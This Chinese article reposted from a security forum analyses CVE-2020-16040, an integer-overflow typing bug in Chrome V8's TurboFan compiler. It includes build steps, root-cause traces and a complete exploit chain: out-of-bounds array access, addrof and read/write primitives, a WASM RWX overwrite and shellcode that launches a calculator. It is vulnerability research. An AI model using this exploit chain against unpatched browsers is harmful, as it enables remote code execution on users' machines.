更多全球网络安全资讯尽在邑安全
前言
CVE-2020-16040是chrome v8 turbofan引擎的一个漏洞,具体发生在turbofan 的simplified-lowering阶段,错误的将加法的结果判定为Signed32类型,导致整数溢出,从而进一步利用漏洞实现RCE。这是一个系列文章,本文是第四篇。
-
第一篇:chrome v8漏洞CVE-2021-30632浅析
-
第二篇:chrome v8漏洞CVE-2021-37975浅析
-
第三篇:chrome v8漏洞CVE-2023-3420浅析
POC
编译
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
# 如果编译失败,考虑是网络的原因。推荐解决办法:境外服务器编译。 git clone https: //chromium .googlesource.com /chromium/tools/depot_tools .git export PATH= /path/to/depot_tools :$PATH mkdir ~ /v8 cd ~ /v8 fetch v8 cd v8 # 漏洞补丁前一笔提交 git checkout 8.9.40 gclient sync alias gm=~ /v8/tools/dev/gm .py gm x64.release gm x64.debug # test . /out/x64 .release /d8 --help |
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
|
/* CVE-2020-16040 HEAD @ 2781d585038b97ed375f2ec06651dc9e5e04f916 https://bugs.chromium.org/p/chromium/issues/detail?id=1150649 https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2020-16040 */ var bs = new ArrayBuffer(8); var fs = new Float64Array(bs); var is = new BigUint64Array(bs); function ftoi(val) { fs[0] = val; return is[0]; } function itof(val) { is[0] = val; return fs[0]; } function foo(x) { let y = 0x7fffffff; if (x == NaN) y = NaN; if (x) y = -1; let z = y + 1; // [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)] z >>= 31; // Static type: Range(-1, 0), Feedback type: Range(0, 0)] z = Math.sign(z | 1); // [Static type: Range(-1, 2147483647), Feedback type: Range(1, 1)] // [Static type: Range(-1, 1), Feedback type: Range(1, 1)] z = 0x7fffffff + 1 - z; // [Static type: Range(2147483647, 2147483649), Feedback type: Range(2147483647, 2147483647)] let i = x ? 0 : z; // [Static type: Range(0, 2147483649), Feedback type: Range(0, 2147483647)] i = 0 - Math.sign(i); // [Static type: Range(0, 1)] // [Static type: Range(-1, 0)] // console.log(i); let a = new Array(i); a.shift(); let b = [1.1, 2.2, 3.3]; return [a, b]; } for (let i = 0; i < 100000; i++) foo( true ); let x = foo( false ); let arr = x[0]; let oob = x[1]; // %DebugPrint(arr); // %DebugPrint(oob); // %SystemBreak(); arr[16] = 1337; /* flt.elements @ oob[12] */ /* obj.elements @ oob[24] */ let flt = [1.1]; let tmp = {a: 1}; let obj = [tmp]; function addrof(o) { let a = ftoi(oob[24]) & 0xffffffffn; let b = ftoi(oob[12]) >> 32n; oob[12] = itof((b << 32n) + a); obj[0] = o; return (ftoi(flt[0]) & 0xffffffffn) - 1n; } function read(p) { let a = ftoi(oob[12]) >> 32n; oob[12] = itof((a << 32n) + p - 8n + 1n); return ftoi(flt[0]); } function write(p, x) { let a = ftoi(oob[12]) >> 32n; oob[12] = itof((a << 32n) + p - 8n + 1n); flt[0] = itof(x); } let wasm = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00, 0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a, 0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a, 0x0b ]); let module = new WebAssembly.Module(wasm); let instance = new WebAssembly.Instance(module); let entry = instance.exports.main; let rwx = read(addrof(instance) + 0x68n); let shellcode = new Uint8Array([ 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54, 0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e, 0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e, 0x6a, 0x3b, 0x58, 0x0f, 0x05 ]); let buf = new ArrayBuffer(shellcode.length); let view = new DataView(buf); write(addrof(buf) + 0x14n, rwx); for (let i = 0; i < shellcode.length; i++) view.setUint8(i, shellcode[i]); entry(); |
1
2
3
4
5
|
$ . /out/x64 .release /d8 poc.js # 执行计算器 calc C-style arbitrary precision calculator (version 2.12.7.2) Calc is open software. For license details type : help copyright [Type "exit" to exit , or "help" for help.] |
漏洞成因分析
背景
representation
turbofan根据静态类型推测会得出表达式值的范围,称之为representation。用--trace-representation参数执行d8,可以看到日志。示例如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# ./d8 --trace-representation test.js function foo(x) { let y = 0x7fffffff; // [Static type: (Range(2147483647, 2147483647))] if (x == NaN) y = NaN; // Phi[kRepTagged](#14:NumberConstant, #128:NumberConstant, #26:Merge) [Static type: (NaN | Range(2147483647, 2147483647))] if (x) y = -1; // Phi[kRepTagged](#32:Phi, #38:NumberConstant, #36:Merge) [Static type: (NaN | Range(-1, 2147483647))] let z = y + 1; // SpeculativeSafeIntegerAdd[SignedSmall](#39:Phi, #42:NumberConstant, #22:SpeculativeNumberEqual, #36:Merge) [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)] z >>= 31; // SpeculativeNumberShiftRight[SignedSmall](#43:SpeculativeSafeIntegerAdd, #44:NumberConstant, #43:SpeculativeSafeIntegerAdd, #36:Merge) [Static type: Range(-1, 0), Feedback type: Range(0, 0)] if (z > 0) { // do something } } |
-
y = 0x7fffffff;representation为Range(2147483647, 2147483647),只能取值为2147483647。
-
if (x == NaN) y = NaN;此时y取值有两种可能。NaN或者2147483647,因此representation为(NaN | Range(2147483647, 2147483647))。
-
if (x) y = -1;y的取值可能性又增加了-1,representation为[Static type: (NaN | Range(-1, 2147483647))]。虽然整数取值只能为-1或者2147483647,但为了表示方便,仍然采用range,一个范围来表示。
-
let z = y + 1; 此处做加法,NaN无法做加法运算,于是NaN另外处理。加1之后Range(-1, 2147483647)变为Range(0, 2147483648)。因此representation为Range(0, 2147483648)。
-
z >>= 31; 0至2147483647位运算右移31位得到0,2147483648得到-1,因此representation为Range(-1, 0)。
representation有什么作用呢?它给优化器做优化提供依据。如上,通过representation为Range(-1, 0),知道z的取值范围为(-1,0),因此当判断z > 0的时候知道永远不可能为真,于是优化引擎可以直接删除这个分支,从而优化代码。
Feedback
1
2
3
4
5
6
7
8
9
10
11
12
13
|
// ./d8 --trace-representation --trace-deopt test.js x = {} function foo() { console.log(x.v); } x.v = 1; for (i = 0; i < 10000; i++) { console.log(i + ":" ); foo(); } x.v = 2; |
执行结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
0: 1 1: 1 ... 7578: 1 Marking #19: Phi as needing revisit due to #82: Call Marking #16: Loop as needing revisit due to #95: JSStackCheck Marking #22: Checkpoint as needing revisit due to #17: EffectPhi --{Propagate phase}-- visit #99: End (trunc: no-value-use) initial #20: no-value-use initial #199: no-value-use initial #200: no-value-use visit #200: Return (trunc: no-value-use) ... 7579: 1 ... 9999: 1 [bailout (kind: deopt-soft, reason: Insufficient type feedback for generic named access): begin. deoptimizing 0x1db60825287d <JSFunction (sfi = 0x1db608252699)>, opt id 1, node id 101, bailout id 8, FP to SP delta 88, caller SP 0x7ffd4755fef8, pc 0x1db6000846a6] |
解释一下:
-
在7578和7579行之间插入了--trace-representation打印的日志,表明优化引擎在7578次重复运行之后开始工作。
-
执行多次以后x.v均为1,x.v是对全局变量的属性访问,1将作为feedback,被优化引擎采用替换复杂的全局变量属性访问,而直接将1传递给console.log,提高效率
-
x.v = 2 改变了全局变量的值,foo的优化假设x.v等于1将不再成立,于是通过--trace-deopt参数打印出了bailout信息,表示foo函数解优化,不再执行优化函数,以确保函数的正确性。
-
由此可见,feedback也是优化的依据。
漏洞成因
漏洞在于turbofan 的Simplified Lowering阶段在处理SpeculativeSafeIntegerAdd函数时发生了错误。见下面:
1
2
3
4
5
6
7
|
void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation, SimplifiedLowering* lowering) { ... VisitBinop<T>(node, left_use, right_use, MachineRepresentation::kWord32, Type::Signed32()); ... } |
表示turbofan优化时处理加法,两个数字都是kWord32类型,相加之和的类型限制在Signed32,即[-2147483648, 2147483647]之间。这就导致了bug,因为两个数相加结果可能超过这个范围。比如:2147483647 + 1,结果为2147483648,不在[-2147483648, 2147483647]范围,而VisitSpeculativeIntegerAdditiveOp将结果限定在Type::Signed32()类型,导致了bug。考虑下面情况:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
function foo(a) { // ./d8 --trace-representation --trace-deopt test.js var y = 0x7fffffff; if (a == NaN) y = NaN; if (a) y = -1; const z = (y + 1)|0; console.log(z); if (z < 0) { console.log( '< 0' ); } else { console.log( '>= 0' ); } } foo( true ); foo( false ); console.log( "================" ); %PrepareFunctionForOptimization(foo); foo( true ); %OptimizeFunctionOnNextCall(foo); foo( false ); |
执行结果:
1
2
3
4
5
6
7
8
9
|
0 >= 0 -2147483648 < 0 #================ 0 >= 0 -2147483648 >= 0 |
-
前四行输出对应没有优化的foo(true); foo(false);调用结果,符合预期。
-
后四行输出对应优化后的foo(true); foo(false);调用结果,不符合预期。我们看到了-2147483648 >= 0
原因如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
function foo(a) { // ./d8 --trace-representation --trace-deopt test.js var y = 0x7fffffff; // [Static type: (Range(2147483647, 2147483647))] if (a == NaN) y = NaN; // [Static type: (NaN | Range(2147483647, 2147483647))] if (a) y = -1; // [Static type: (NaN | Range(-1, 2147483647))] const z = (y + 1)|0; // SpeculativeSafeIntegerAdd[SignedSmall] [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)] // SpeculativeNumberBitwiseOr[SignedSmall] [Static type: Range(-2147483648, 2147483647), Feedback type: Range(0, 2147483647)] console.log(z); if (z < 0) { console.log( '< 0' ); } else { console.log( '>= 0' ); } } |
-
y + 1,在加法处理之后它的Static type为Range(0, 2147483648),由于前面提及的bug,VisitSpeculativeIntegerAdditiveOp将结果限定在Type::Signed32()类型,(-2147483648, 2147483647),两者求交得到结果Range(0, 2147483647),与实际不符,Feedback type类型有误。
-
(y + 1) | 0,2147483648 | 0 结果为-2147483648,[0,2147483647]之间的任意数|0之后得到本身,因此(y + 1) | 0的Static type为Range(-2147483648, 2147483647),Feedback type保持不变为Range(0, 2147483647)
-
优化foo时,feedback type将参与优化,(y+1)|0的feedback type为(0, 2147483647),它的值不小于0,z<0的判断总是为false,因此优化掉判断逻辑直接执行console.log('>= 0'); ,而此时z实际的值为-2147483648,小于0。这就是为什么会打印出-2147483648 >= 0
POC详解
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
function foo(x) { let y = 0x7fffffff; if (x == NaN) y = NaN; if (x) y = -1; let z = y + 1; // [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)] z >>= 31; // Static type: Range(-1, 0), Feedback type: Range(0, 0)] z = Math.sign(z | 1); // [Static type: Range(-1, 2147483647), Feedback type: Range(1, 1)] // [Static type: Range(-1, 1), Feedback type: Range(1, 1)] z = 0x7fffffff + 1 - z; // [Static type: Range(2147483647, 2147483649), Feedback type: Range(2147483647, 2147483647)] let i = x ? 0 : z; // [Static type: Range(0, 2147483649), Feedback type: Range(0, 2147483647)] i = 0 - Math.sign(i); // [Static type: Range(0, 1)] // [Static type: Range(-1, 0), Feedback type: Range(0, 0)] // console.log(i); // i:1 let a = new Array(i); a.shift(); // CheckBounds [Static type: Range(0, 0)] let b = [1.1, 2.2, 3.3]; return [a, b]; } |
-
--trace-representation 打印得到上述日志,可以看到执行new Array(i);时,i真实值为1,而Static type为 Range(-1, 0),Feedback type为Range(0, 0)
-
let a = new Array(i); 将被优化成下面伪代码:
-
其中kArraySize为1,将传递给Allocate,正常分配空间。
-
checkdLen = CheckBounds(len, limit); 将产生[Static type: Range(0, 0)],在优化时直接替换成0。
-
StoreField(arr, kLengthOffset, checkedLen); 将arr length字段设置为0,而实际长度为1.
-
a.shift(); 将被优化成下面伪代码:
-
length = checkedLen; 等于0
-
newLen = length - 1; 等于-1
-
StoreField(arr, kLengthOffset, newLen); 将arr的length字段赋值为-1。这将导致整数下溢,变成一个很大的数,从而可以实现数组的越界读写。
1
2
3
4
5
6
7
|
// 优化foo函数 for (let i = 0; i < 100000; i++) foo( true ); let x = foo( false ); let arr = x[0]; // %DebugPrint(arr); |
使用参数--allow-natives-syntax运行d8执行%DebugPrint(arr);可以得到arr数组打印结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
DebugPrint: 0x1f0108088f15: [JSArray] - map: 0x1f01081c394d <Map(HOLEY_SMI_ELEMENTS)> [FastProperties] - prototype: 0x1f010818b759 <JSArray[0]> - elements: 0x1f0108088f09 <FixedArray[67244564]> [HOLEY_SMI_ELEMENTS] - length: -1 - properties: 0x1f0108042229 <FixedArray[0]> - All own properties (excluding elements): { 0x1f0108044649: [String] in ReadOnlySpace: #length: 0x1f0108102159 <AccessorInfo> (const accessor descriptor), location: descriptor } - elements: 0x1f0108088f09 <FixedArray[67244564]> { 0: 0x1f0108042429 <the_hole> 1: 0x1f01081c394d <Map(HOLEY_SMI_ELEMENTS)> 2: 0x1f0108042229 <FixedArray[0]> 3: 0x1f0108088f09 <FixedArray[67244564]> 4: -1 5: 0x1f0108042a89 <Map> 6: 3 7: -858993459 |
可以看到长度确实为-1。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
function foo(x) { ... let a = new Array(i); a.shift(); let b = [1.1, 2.2, 3.3]; return [a, b]; } let x = foo( false ); let arr = x[0]; let oob = x[1]; arr[16] = 1337; /* flt.elements @ oob[12] */ /* obj.elements @ oob[24] */ let flt = [1.1]; let tmp = {a: 1}; let obj = [tmp]; |
-
b的内存布局在a之后,因此a可以越界读写b的内存。a[16]位置存放的是b的长度字段。a[16] = 1337,是将b的长度修改为1337。从而以b为跳板继续越界读写后面的数组。
-
oob即为b。oob[12]存放的是flt数组指向的内存。oob[24]存放的是obj数组指向的内存。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
/* flt.elements @ oob[12] */ /* obj.elements @ oob[24] */ let flt = [1.1]; let tmp = {a: 1}; let obj = [tmp]; function addrof(o) { let a = ftoi(oob[24]) & 0xffffffffn; // 获取obj.elements 的低32位数字,此为压缩后的地址 let b = ftoi(oob[12]) >> 32n; // 获取flt.elements 的高32位数字 oob[12] = itof((b << 32n) + a); // obj.elements地址 组合 flt原来高32位数字,形成double,写回flt.elements // 此时flt和obj指向了同一块内存,唯一区别是,flt以double解析这块内存,obj以对象类型解析这块内存 obj[0] = o; // 存入对象的地址到obj[0] return (ftoi(flt[0]) & 0xffffffffn) - 1n; // 以double读出对象的地址,并抓换为int } |
1
2
3
4
5
|
function read(p) { let a = ftoi(oob[12]) >> 32n; // 获取flt.elements 的高32位数字 oob[12] = itof((a << 32n) + p - 8n + 1n); // 修改flt.elements 的低32位数字,指向p的地址,-8+1不是必须,poc计算时p事先+8-1。 return ftoi(flt[0]); // 读p地址的内容 } |
1
2
3
4
5
|
function write(p, x) { let a = ftoi(oob[12]) >> 32n; oob[12] = itof((a << 32n) + p - 8n + 1n); // 修改flt.elements 的低32位数字,指向p的地址,-8+1不是必须,poc计算时p事先+8-1。 flt[0] = itof(x); // 写入x } |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
let wasm = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00, 0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a, 0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a, 0x0b ]); let module = new WebAssembly.Module(wasm); let instance = new WebAssembly.Instance(module); let entry = instance.exports.main; let rwx = read(addrof(instance) + 0x68n); // addrof(instance) 获取instance地址 // read(addrof(instance) + 0x68n) 读instance + 0x60处的值,这里是wasm代码段开始的地方,具有rwx权限 |
1
2
3
4
5
6
7
8
9
10
11
|
let entry = instance.exports.main; let buf = new ArrayBuffer(shellcode.length); // 分配ArrayBuffer let view = new DataView(buf); write(addrof(buf) + 0x14n, rwx); // addrof(ArrayBuffer),获取地址,地址 + 0x14 - 8 + 1的地方存放着ArrayBuffer对象buf的地址 // 修改这个地址为rwx,让ArrayBuffer的空间指向rwx,操作ArrayBuffer就是修改rwx内存。 for (let i = 0; i < shellcode.length; i++) view.setUint8(i, shellcode[i]); // 往rwx写入shellcode entry(); // 执行shellcode |
原文来自: kanxue.com
原文链接: https://bbs.kanxue.com/thread-281930.htm
原文始发于微信公众号(邑安全):CVE-2020-16040 Chrome v8 漏洞浅析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论